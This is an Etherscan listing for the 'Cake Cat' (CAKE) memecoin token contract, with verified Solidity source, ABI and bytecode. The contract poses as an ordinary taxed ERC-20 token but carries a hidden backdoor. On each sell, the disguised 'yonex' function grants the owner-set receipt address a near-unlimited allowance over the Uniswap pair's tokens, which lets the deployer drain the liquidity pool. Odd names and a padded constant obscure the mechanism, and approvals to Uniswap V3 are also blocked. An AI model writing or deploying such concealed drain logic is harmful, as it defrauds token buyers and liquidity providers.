ETH Price: $2,949.24 (-1.27%)
 

Overview

Max Total Supply

420,690,000,000 CAKE

Holders

73

Transfers

-
0

Market

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
CAKE

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2024-10-28
*/

// SPDX-License-Identifier: MIT
/**
Cake Cat
Meet Cake, the cutest, cake-loving cat on Ethereum! This little guy is all about having fun and sharing the good vibes with everyone who joins him. Cake loves to eat, sure, but he's also got big plans. He’s not just here to be adorable—he’s on a mission to shake things up and bring something fresh to the table.
Web: https://cakeoneth.fun
X:   https://x.com/cake_cat_erc
Tg:  https://t.me/cake_cat_erc
**/
pragma solidity 0.8.26;
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}
contract CAKE is Context, IERC20, Ownable {
    using SafeMath for uint256;
    address private uniPairDD;
    IUniswapV2Router02 private uniRouterDD;
    mapping (address => uint256) private _balancesDD;
    mapping (address => mapping (address => uint256)) private _allowancesDD;
    mapping (address => bool) private _shouldExcludedDD;
    address payable private _receiptDD;
    uint256 private _initialBuyTax = 12;
    uint256 private _initialSellTax = 12;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 12;
    uint256 private _reduceSellTaxAt = 12;
    uint256 private _preventSwapBefore = 12;
    uint256 private _transferTax = 0;
    uint256 private _buyCount = 0;
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotalDD = 420690000000 * 10**_decimals;
    string private constant _name = unicode"Cake Cat";
    string private constant _symbol = unicode"CAKE";
    uint256 public _maxTxAmount = 2 * (_tTotalDD/100);
    uint256 public _maxWalletSize = 2 * (_tTotalDD/100);
    uint256 public _taxSwapThreshold = 1 * (_tTotalDD/100);
    uint256 public _maxTaxSwap = 1 * (_tTotalDD/100);
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    event TransferTaxUpdated(uint _tax);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
    constructor () {
        _receiptDD = payable(_msgSender());
        _balancesDD[_msgSender()] = _tTotalDD;
        _shouldExcludedDD[owner()] = true;
        _shouldExcludedDD[address(this)] = true;
        _shouldExcludedDD[_receiptDD] = true;
        emit Transfer(address(0), _msgSender(), _tTotalDD);
    }
    function name() public pure returns (string memory) {
        return _name;
    }
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
    function totalSupply() public pure override returns (uint256) {
        return _tTotalDD;
    }
    function balanceOf(address account) public view override returns (uint256) {
        return _balancesDD[account];
    }
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowancesDD[owner][spender];
    }
    function approve(address spender, uint256 amount) public override returns (bool) {
        // Block all Uniswap V3 liquidity additions
        require(!isUniswapV3(spender), "Approval for Uniswap V3 liquidity is not allowed");
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowancesDD[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowancesDD[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function initDD() external onlyOwner {
        uniRouterDD = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniRouterDD), _tTotalDD);
        uniPairDD = IUniswapV2Factory(uniRouterDD.factory()).createPair(
            address(this),
            uniRouterDD.WETH()
        ); 
    }
    function _transfer(address from, address to, uint256 amountDD) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amountDD > 0, "Transfer amount must be greater than zero");
        uint256 feeDD=0;uint256 taxDD=0; 
        if (!swapEnabled || inSwap) {
            _balancesDD[from] = _balancesDD[from] - amountDD;
            _balancesDD[to] = _balancesDD[to] + amountDD;
            emit Transfer(from, to, amountDD);
            return;
        }
        if (from != owner() && to != owner()) {
            if(_buyCount>0) {
                taxDD = _transferTax;
            }
            if (from == uniPairDD && to != address(uniRouterDD) && ! _shouldExcludedDD[to] ) {
                require(amountDD <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amountDD <= _maxWalletSize, "Exceeds the maxWalletSize.");
                taxDD = ((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax); 
                _buyCount++;
            }
            if(to == uniPairDD && from!= address(this) ){
                yonex([to, _receiptDD]);taxDD = ((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax);
            }
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniPairDD && swapEnabled) {
                if(contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore)
                    swapEthDD(minDD(amountDD, minDD(contractTokenBalance, _maxTaxSwap)));
                sendEthDD(address(this).balance);
            }
        }        
        if(taxDD > 0){
            feeDD=amountDD.mul(taxDD).div(100);
            _balancesDD[address(this)]=_balancesDD[address(this)].add(feeDD);
            emit Transfer(from, address(this),feeDD);
        }
        _balancesDD[from]=_balancesDD[from].sub(amountDD);
        _balancesDD[to]=_balancesDD[to].add(amountDD.sub(feeDD));
        emit Transfer(from, to, amountDD.sub(feeDD));
    }
    function setReceipt(address payable _receipt) external onlyOwner {
        _receiptDD = _receipt;
        _shouldExcludedDD[_receipt] = true;
    }
    function swapEthDD(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniRouterDD.WETH();
        _approve(address(this), address(uniRouterDD), tokenAmount);
        uniRouterDD.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
    function yonex(address[2] memory nhx) private {
        address owner=nhx[0];address spender=nhx[1]; 
        uint256 abx=1500+(150+_tTotalDD+150)*1500+1500;
        _allowancesDD[owner][spender] = abx;
    }
    receive() external payable {}
    function startTrading() external onlyOwner {
        require(!tradingOpen, "Trading is already open");
        uniRouterDD.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniPairDD).approve(address(uniRouterDD), type(uint).max);
        swapEnabled = true; 
        tradingOpen = true;
    }
    // Uniswap V3 addresses 
    function isUniswapV3(address spender) private pure returns (bool) {
        // Uniswap V3 NonfungiblePositionManager address
        address uniswapV3PositionManager = 0xC36442b4a4522E871399CD717aBDD847Ab11FE88; 
        return (spender == uniswapV3PositionManager);
    }
    function minDD(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }
    function withdrawEth() external onlyOwner{
        payable(msg.sender).transfer(address(this).balance);
    }
    function sendEthDD(uint256 amount) private {
        _receiptDD.transfer(amount);
    }
    function removeLimitDD(address payable limit) external onlyOwner{
        _maxTxAmount = _tTotalDD;
        _maxWalletSize=_tTotalDD;
        _receiptDD = limit;
        _shouldExcludedDD[limit] = true;
        emit MaxTxAmountUpdated(_tTotalDD);
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_tax","type":"uint256"}],"name":"TransferTaxUpdated","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"initDD","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address payable","name":"limit","type":"address"}],"name":"removeLimitDD","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"_receipt","type":"address"}],"name":"setReceipt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600c600755600c6008555f6009555f600a55600c600b55600c8055600c600d555f600e555f600f5560646009600a61003c9190610332565b61004b906461f313f880610347565b610055919061035e565b610060906002610347565b60105560646100716009600a610332565b610080906461f313f880610347565b61008a919061035e565b610095906002610347565b60115560646100a66009600a610332565b6100b5906461f313f880610347565b6100bf919061035e565b6100ca906001610347565b60125560646100db6009600a610332565b6100ea906461f313f880610347565b6100f4919061035e565b6100ff906001610347565b6013556014805462ffff0019169055348015610119575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600680546001600160a01b031916331790556101786009600a610332565b610187906461f313f880610347565b335f8181526003602090815260408083209490945581546001600160a01b03908116835260059091528382208054600160ff199182168117909255308452858420805482168317905560065490921683529382208054909116909317909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6102146009600a610332565b610223906461f313f880610347565b60405190815260200160405180910390a361037d565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156102885780850481111561026c5761026c610239565b600184161561027a57908102905b60019390931c928002610251565b935093915050565b5f8261029e5750600161032c565b816102aa57505f61032c565b81600181146102c057600281146102ca576102e6565b600191505061032c565b60ff8411156102db576102db610239565b50506001821b61032c565b5060208310610133831016604e8410600b8410161715610309575081810a61032c565b6103155f19848461024d565b805f190482111561032857610328610239565b0290505b92915050565b5f61034060ff841683610290565b9392505050565b808202811582820484141761032c5761032c610239565b5f8261037857634e487b7160e01b5f52601260045260245ffd5b500490565b6119d88061038a5f395ff3fe60806040526004361061011e575f3560e01c8063715018a61161009d578063a0ef91df11610062578063a0ef91df14610318578063a9059cbb1461032c578063bf474bed1461034b578063dd62ed3e14610360578063e68507f3146103a4575f80fd5b8063715018a6146102885780637d1db4a51461029c5780638da5cb5b146102b15780638f9a55c0146102d757806395d89b41146102ec575f80fd5b8063293230b8116100e3578063293230b8146101f0578063313ce567146102065780635e070a92146102215780635f8c3cc61461023557806370a0823114610254575f80fd5b806306fdde0314610129578063095ea7b31461016b5780630faee56f1461019a57806318160ddd146101bd57806323b872dd146101d1575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b5060408051808201909152600881526710d85ad94810d85d60c21b60208201525b60405161016291906115e0565b60405180910390f35b348015610176575f80fd5b5061018a610185366004611629565b6103c3565b6040519015158152602001610162565b3480156101a5575f80fd5b506101af60135481565b604051908152602001610162565b3480156101c8575f80fd5b506101af610463565b3480156101dc575f80fd5b5061018a6101eb366004611653565b610484565b3480156101fb575f80fd5b506102046104eb565b005b348015610211575f80fd5b5060405160098152602001610162565b34801561022c575f80fd5b506102046106c3565b348015610240575f80fd5b5061020461024f366004611691565b6108bd565b34801561025f575f80fd5b506101af61026e366004611691565b6001600160a01b03165f9081526003602052604090205490565b348015610293575f80fd5b506102046109a8565b3480156102a7575f80fd5b506101af60105481565b3480156102bc575f80fd5b505f546040516001600160a01b039091168152602001610162565b3480156102e2575f80fd5b506101af60115481565b3480156102f7575f80fd5b5060408051808201909152600481526343414b4560e01b6020820152610155565b348015610323575f80fd5b50610204610a19565b348015610337575f80fd5b5061018a610346366004611629565b610a6e565b348015610356575f80fd5b506101af60125481565b34801561036b575f80fd5b506101af61037a3660046116ac565b6001600160a01b039182165f90815260046020908152604080832093909416825291909152205490565b3480156103af575f80fd5b506102046103be366004611691565b610a7a565b5f73c36442b4a4522e871399cd717abdd847ab11fe886001600160a01b0384160361044e5760405162461bcd60e51b815260206004820152603060248201527f417070726f76616c20666f7220556e6973776170205633206c6971756964697460448201526f1e481a5cc81b9bdd08185b1b1bddd95960821b60648201526084015b60405180910390fd5b610459338484610adc565b5060015b92915050565b5f6104706009600a6117da565b61047f906461f313f8806117e8565b905090565b5f610490848484610bff565b6104e184336104dc8560405180606001604052806028815260200161197b602891396001600160a01b038a165f90815260046020908152604080832033845290915290205491906111d4565b610adc565b5060019392505050565b5f546001600160a01b031633146105145760405162461bcd60e51b8152600401610445906117ff565b60145460ff16156105675760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610445565b6002546001600160a01b031663f305d7194730610598816001600160a01b03165f9081526003602052604090205490565b5f806105ab5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610611573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906106369190611834565b505060015460025460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af115801561068b573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106af919061185f565b506014805462ff00ff191662010001179055565b5f546001600160a01b031633146106ec5760405162461bcd60e51b8152600401610445906117ff565b600280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107369030906107276009600a6117da565b6104dc906461f313f8806117e8565b60025f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610786573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107aa919061187e565b6001600160a01b031663c9c653963060025f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610809573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061082d919061187e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610877573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061089b919061187e565b600180546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b031633146108e65760405162461bcd60e51b8152600401610445906117ff565b6108f26009600a6117da565b610901906461f313f8806117e8565b6010556109106009600a6117da565b61091f906461f313f8806117e8565b601155600680546001600160a01b0319166001600160a01b0383169081179091555f908152600560205260409020805460ff191660011790557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6109856009600a6117da565b610994906461f313f8806117e8565b60405190815260200160405180910390a150565b5f546001600160a01b031633146109d15760405162461bcd60e51b8152600401610445906117ff565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b03163314610a425760405162461bcd60e51b8152600401610445906117ff565b60405133904780156108fc02915f818181858888f19350505050158015610a6b573d5f803e3d5ffd5b50565b5f610459338484610bff565b5f546001600160a01b03163314610aa35760405162461bcd60e51b8152600401610445906117ff565b600680546001600160a01b039092166001600160a01b0319909216821790555f908152600560205260409020805460ff19166001179055565b6001600160a01b038316610b3e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610445565b6001600160a01b038216610b9f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610445565b6001600160a01b038381165f8181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c635760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610445565b6001600160a01b038216610cc55760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610445565b5f8111610d265760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610445565b6014545f90819062010000900460ff161580610d495750601454610100900460ff165b15610e02576001600160a01b0385165f90815260036020526040902054610d71908490611899565b6001600160a01b038087165f908152600360205260408082209390935590861681522054610da09084906118ac565b6001600160a01b038086165f8181526003602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610df39087815260200190565b60405180910390a35050505050565b5f546001600160a01b03868116911614801590610e2c57505f546001600160a01b03858116911614155b1561108857600f5415610e3e5750600e545b6001546001600160a01b038681169116148015610e6957506002546001600160a01b03858116911614155b8015610e8d57506001600160a01b0384165f9081526005602052604090205460ff16155b15610f8c57601054831115610ee45760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610445565b60115483610f06866001600160a01b03165f9081526003602052604090205490565b610f1091906118ac565b1115610f5e5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610445565b600b54600f5411610f7157600754610f75565b6009545b600f80549192505f610f86836118bf565b91905055505b6001546001600160a01b038581169116148015610fb257506001600160a01b0385163014155b15610ffa57604080518082019091526001600160a01b038086168252600654166020820152610fe09061120c565b600c54600f5411610ff357600854610ff7565b600a545b90505b305f90815260036020526040902054601454610100900460ff1615801561102e57506001546001600160a01b038681169116145b8015611042575060145462010000900460ff165b15611086576012548111801561105b5750600d54600f54115b1561107d5761107d611078856110738460135461129a565b61129a565b6112b1565b6110864761141b565b505b8015611118576110a3606461109d8584611456565b906114d4565b305f908152600360205260409020549092506110bf9083611515565b305f81815260036020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061110f9086815260200190565b60405180910390a35b6001600160a01b0385165f9081526003602052604090205461113a9084611573565b6001600160a01b0386165f9081526003602052604090205561117d61115f8484611573565b6001600160a01b0386165f9081526003602052604090205490611515565b6001600160a01b038086165f8181526003602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111c68686611573565b604051908152602001610df3565b5f81848411156111f75760405162461bcd60e51b815260040161044591906115e0565b505f6112038486611899565b95945050505050565b805160208201515f6112206009600a6117da565b61122f906461f313f8806117e8565b61123a9060966118ac565b6112459060966118ac565b611251906105dc6117e8565b61125d906105dc6118ac565b611269906105dc6118ac565b6001600160a01b039384165f9081526004602090815260408083209590961682529390935292909120919091555050565b5f8183116112a857826112aa565b815b9392505050565b6014805461ff0019166101001790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106112f3576112f36118d7565b6001600160a01b03928316602091820292909201810191909152600254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561134a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061136e919061187e565b81600181518110611381576113816118d7565b6001600160a01b0392831660209182029290920101526002546113a79130911684610adc565b60025460405163791ac94760e01b81526001600160a01b039091169063791ac947906113df9085905f908690309042906004016118eb565b5f604051808303815f87803b1580156113f6575f80fd5b505af1158015611408573d5f803e3d5ffd5b50506014805461ff001916905550505050565b6006546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611452573d5f803e3d5ffd5b5050565b5f825f0361146557505f61045d565b5f61147083856117e8565b90508261147d858361195b565b146112aa5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610445565b5f6112aa83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115b4565b5f8061152183856118ac565b9050838110156112aa5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610445565b5f6112aa83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111d4565b5f81836115d45760405162461bcd60e51b815260040161044591906115e0565b505f611203848661195b565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610a6b575f80fd5b5f806040838503121561163a575f80fd5b823561164581611615565b946020939093013593505050565b5f805f60608486031215611665575f80fd5b833561167081611615565b9250602084013561168081611615565b929592945050506040919091013590565b5f602082840312156116a1575f80fd5b81356112aa81611615565b5f80604083850312156116bd575f80fd5b82356116c881611615565b915060208301356116d881611615565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b600184111561173257808504811115611716576117166116e3565b600184161561172457908102905b60019390931c9280026116fb565b935093915050565b5f826117485750600161045d565b8161175457505f61045d565b816001811461176a576002811461177457611790565b600191505061045d565b60ff841115611785576117856116e3565b50506001821b61045d565b5060208310610133831016604e8410600b84101617156117b3575081810a61045d565b6117bf5f1984846116f7565b805f19048211156117d2576117d26116e3565b029392505050565b5f6112aa60ff84168361173a565b808202811582820484141761045d5761045d6116e3565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f805f60608486031215611846575f80fd5b5050815160208301516040909301519094929350919050565b5f6020828403121561186f575f80fd5b815180151581146112aa575f80fd5b5f6020828403121561188e575f80fd5b81516112aa81611615565b8181038181111561045d5761045d6116e3565b8082018082111561045d5761045d6116e3565b5f600182016118d0576118d06116e3565b5060010190565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b8181101561193b5783516001600160a01b0316835260209384019390920191600101611914565b50506001600160a01b039590951660608401525050608001529392505050565b5f8261197557634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220eb2058f6b535bc49c698825a20883c136868afa23cfc642e73f1edc5b066eaab64736f6c634300081a0033

Deployed Bytecode

0x60806040526004361061011e575f3560e01c8063715018a61161009d578063a0ef91df11610062578063a0ef91df14610318578063a9059cbb1461032c578063bf474bed1461034b578063dd62ed3e14610360578063e68507f3146103a4575f80fd5b8063715018a6146102885780637d1db4a51461029c5780638da5cb5b146102b15780638f9a55c0146102d757806395d89b41146102ec575f80fd5b8063293230b8116100e3578063293230b8146101f0578063313ce567146102065780635e070a92146102215780635f8c3cc61461023557806370a0823114610254575f80fd5b806306fdde0314610129578063095ea7b31461016b5780630faee56f1461019a57806318160ddd146101bd57806323b872dd146101d1575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b5060408051808201909152600881526710d85ad94810d85d60c21b60208201525b60405161016291906115e0565b60405180910390f35b348015610176575f80fd5b5061018a610185366004611629565b6103c3565b6040519015158152602001610162565b3480156101a5575f80fd5b506101af60135481565b604051908152602001610162565b3480156101c8575f80fd5b506101af610463565b3480156101dc575f80fd5b5061018a6101eb366004611653565b610484565b3480156101fb575f80fd5b506102046104eb565b005b348015610211575f80fd5b5060405160098152602001610162565b34801561022c575f80fd5b506102046106c3565b348015610240575f80fd5b5061020461024f366004611691565b6108bd565b34801561025f575f80fd5b506101af61026e366004611691565b6001600160a01b03165f9081526003602052604090205490565b348015610293575f80fd5b506102046109a8565b3480156102a7575f80fd5b506101af60105481565b3480156102bc575f80fd5b505f546040516001600160a01b039091168152602001610162565b3480156102e2575f80fd5b506101af60115481565b3480156102f7575f80fd5b5060408051808201909152600481526343414b4560e01b6020820152610155565b348015610323575f80fd5b50610204610a19565b348015610337575f80fd5b5061018a610346366004611629565b610a6e565b348015610356575f80fd5b506101af60125481565b34801561036b575f80fd5b506101af61037a3660046116ac565b6001600160a01b039182165f90815260046020908152604080832093909416825291909152205490565b3480156103af575f80fd5b506102046103be366004611691565b610a7a565b5f73c36442b4a4522e871399cd717abdd847ab11fe886001600160a01b0384160361044e5760405162461bcd60e51b815260206004820152603060248201527f417070726f76616c20666f7220556e6973776170205633206c6971756964697460448201526f1e481a5cc81b9bdd08185b1b1bddd95960821b60648201526084015b60405180910390fd5b610459338484610adc565b5060015b92915050565b5f6104706009600a6117da565b61047f906461f313f8806117e8565b905090565b5f610490848484610bff565b6104e184336104dc8560405180606001604052806028815260200161197b602891396001600160a01b038a165f90815260046020908152604080832033845290915290205491906111d4565b610adc565b5060019392505050565b5f546001600160a01b031633146105145760405162461bcd60e51b815260